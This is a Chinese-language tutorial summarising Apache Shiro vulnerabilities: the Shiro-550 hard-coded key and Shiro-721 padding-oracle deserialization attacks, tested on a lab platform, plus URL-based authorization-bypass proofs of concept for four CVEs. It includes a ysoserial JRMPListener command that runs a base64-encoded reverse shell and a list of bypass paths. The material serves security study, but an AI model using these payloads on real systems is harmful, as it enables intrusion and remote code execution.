前言:在平时测一些站点的时候,几乎都会有登录框或者一些权限存在区分的地方,在这些地方大部分又是使用shiro框架来负责权限操作的;网上的一些原理或者操作太过抽象和分散,于是这篇文章就是谈谈shiro框架的一些漏洞合集和简单分析。

首先什么是shiro框架呢?

Apache Shiro 是一个功能强大且易于使用的 Java 安全框架,用于处理身份验证、授权、加密和会话管理等核心安全性问题。Shiro 可以在 JavaSE 和 JavaEE 环境中使用,帮助开发人员快速构建安全的应用程序。

​

(对于shiro框架的漏洞,我们本篇分为反序列化与权限绕过来阐述)

shiro反序列化(CBC加密算法:明文 = IMV XOR 前一块密文):

web端特征:

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

类型一:Shiro-550(CVE-2016-4437)漏洞原理

--------------------------------------------------------------------------------------------

| 随机IV作为初始向量,AES密钥硬编码在代码中 |

--------------------------------------------------------------------------------------------

系统分配的cookie的加密格式:

(1)漏洞影响范围

  • Apache Shiro <= 1.2.4
  • 默认使用 CookieRememberMeManager 处理 rememberMe Cookie

(2)漏洞原理

  • Shiro-550 存在于 rememberMe 机制的处理流程:

用户登录后,Shiro 会将用户信息 序列化 -> AES 加密 -> Base64 编码 后存入 rememberMe Cookie。

服务器收到请求时,会 Base64 解码 -> AES 解密 -> 反序列化,恢复用户信息。

问题在于:Shiro 默认使用的 AES 密钥是硬编码的!

(3)总结:

  • 因为是硬编码,所以常见的利用方式就是爆破密钥,然后爆破利用链子,命令执行。

(4)工具使用:


类型二:Shiro-721(CVE-2019-12422)漏洞原理

----------------------------------------------------------------------------------------------

|(必须有一个有效的 rememberMe Cookie) ;随机IV作为初始向量,随机AES密钥 |

----------------------------------------------------------------------------------------------

(1)漏洞影响范围

  • Apache Shiro < 1.4.2

(2)漏洞原理

  • Shiro-721 主要是由于 AES-128-CBC 加密的 Padding Oracle 攻击:

攻击者可以利用服务器返回的错误信息,逐步猜测加密数据,破解 AES 密钥。

拿到密钥后,攻击者可以 伪造恶意 Cookie,实现反序列化攻击。

(3)攻击过程分析

前置知识:

服务器收到Cookie密文 解密的操作:最主要检测的是P的填充

我们举例子密文最后一个字符是90

解密公式:p是填充 I是中间状态 IV是向量

我们最终是求出新的IV,而不是去改变密文C 要注意:是 利用新的IV让其密文解密后的结果为我们的恶意内容

我们举例子一个字节长度为10的与shiro的cookie同款加密的密文

我们base64解密是二进制内容 我们转为16进制:

正常的cookie是前16字节是IV 后面的为密文C 因为这里是举例子所以就设置如下:

第一轮爆破:IV[4]的爆破(保证IV数组其他不变 先改变数组最后一个值这里从0x00开始) 比如第一次失败:

爆破ing~ 。。。。。一直爆破到第171次:IV的最后一个数组是0XAA

这个时候 有p[4]也有IV[4] 求出I[4]:

第二轮:IV[3]的爆破 (开始前要先利用I[4]反推出IV[4]替换一下,然后再去爆破IV[3])

爆破ing~。。。。。。。。 不知道爆破了多少次 爆破出来

这个时候再反推I[3]:

就这样一直爆破出整个I的值 然后我们构造一个恶意payload内容是二进制

反推出新的IV 然后替换旧的IV 这个时候发包 服务器就会执行我们的内容

​

(4)总结

因为这个AES的密钥不是硬编码 而不是随机的 但是CBC模式 + Padding Oracle。加密模式本身存在设计缺陷,所以导致可以绕过密钥进行攻击

(5)工具使用

https://github.com/frohoff/ysoserial

https://github.com/inspiringz/Shiro-721/blob/master/exp/shiro_exp.py

构造恶意的二进制内容:

java-jar ysoserial-all.jar CommonsBeanutils1(链子自己猜测) "命令"> poc.ser

​

爆破得到新的符填充的恶意内容的base64(可能时间较长):

python2 shiro_exp.py "url" "正常的cookie密文" poc.ser

​

类型三:爆破密钥漏洞

版本:全版本

条件:密钥在爆破字典中

原理:在讨论算法中其实很清楚知道,无论AES-CBC还是AES-GCM的加解密算法都是公开已知的。而解密时需要的两个变量IV和Key,解密时服务器是使用Cookie中提取的IV,所以也就只存在一个变量Key,所以如果必须幸运的话爆破出密钥,就可以直接构造恶意内容。


类型四:对于 shiro有密钥但是不回显的形式

(利用方式 :DNS ,JRMPC)

工具: https://github.com/wyzxxz/shiro_rce_tool

DNS方式:

靶场平台:https://vulfocus.cn/#/dashboard

我们使用工具 命令:

得到了5个链子 我们这里使用第三个

输入DNS的http域名 成功回显

​

JRMPC方式:

使用工具上面说的有: ysoserial-all.jar

我们首先base64一下反弹shell的命令

服务器执行:

java -jar ysoserial-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollections2 "bash -c {echo,反弹shell的命令的base64编码}|{base64,-d}|{bash,-i}"

然后我们选择3 放上服务器ip:端口 这里我的是1388

这个时候服务器收到了探测信息:

这个时候 因为我是反弹的shell且端口是1999 所以我又开启了一个端口 1999 成功拿到shell

也是拿到了答案


shiro 权限绕过

(因为这些都是拼接路径的操作 就直接放上总结了)

CVE-2020-1957

影响版本:

Shiro<1.5.2
Spring 框架中只使用了 Shiro 鉴权

POC:
/xxx/..;/admin/ctfer (只适用于Spring低版本<2.3)  
or  
/;/admin/ctfer (只适用于Spring低版本<2.3)  
or  
/admin;/ctfer (Spring全版本)  
漏洞说明  
Spring 与 Shiro 对于 "/" 和 ";" 处理差异导致绕过  

CVE-2020-11989

影响版本

Shiro<1.5.3
Spring 框架只使用了 Shiro 鉴权

POC
/admin/a%25%32%66a or /admin/a%252fa -> /admin/a%2fa   
Apache Shiro = 1.5.2 & controller需为类似”/hello/{page}”的方式  
  
需要项目部署时ContextPath不是根目录  (这里ContextPath为context)
/;/context/admin/user  (正常的是/admin/user)
Apache Shiro < 1.5.3 & server.servlet.context-path不为根/ 
getContextPath 获取部署目录为未处理 ;导致和前面一样的原因
漏洞说明:
spring会一直解码到最终  但是shiro只会解码一次

CVE-2020-13933

影响版本

Shiro<1.6.0
Spring 框架只使用 Shiro 鉴权

POC
/admin/%3bctfer
漏洞原因:getServletPath () 获取问题,导致 ; 截断

CVE-2020-17523

影响版本
Apache Shiro < 1.7.1
Spring框架只使用Shiro鉴权
POC
/admin/%20  
%20可替换为%08、%09、%0a、%0d等其他trim可删除的空白字符,但有时不成功,因为SpringBoot + tomcat可能会400  
漏洞原因:
/admin正常  /admin/可以越权 
ant 匹配规则处理不当,不必要的 trim 导致绕过匹配(trim去掉空白字符导致/admin/%20解析为/admin/)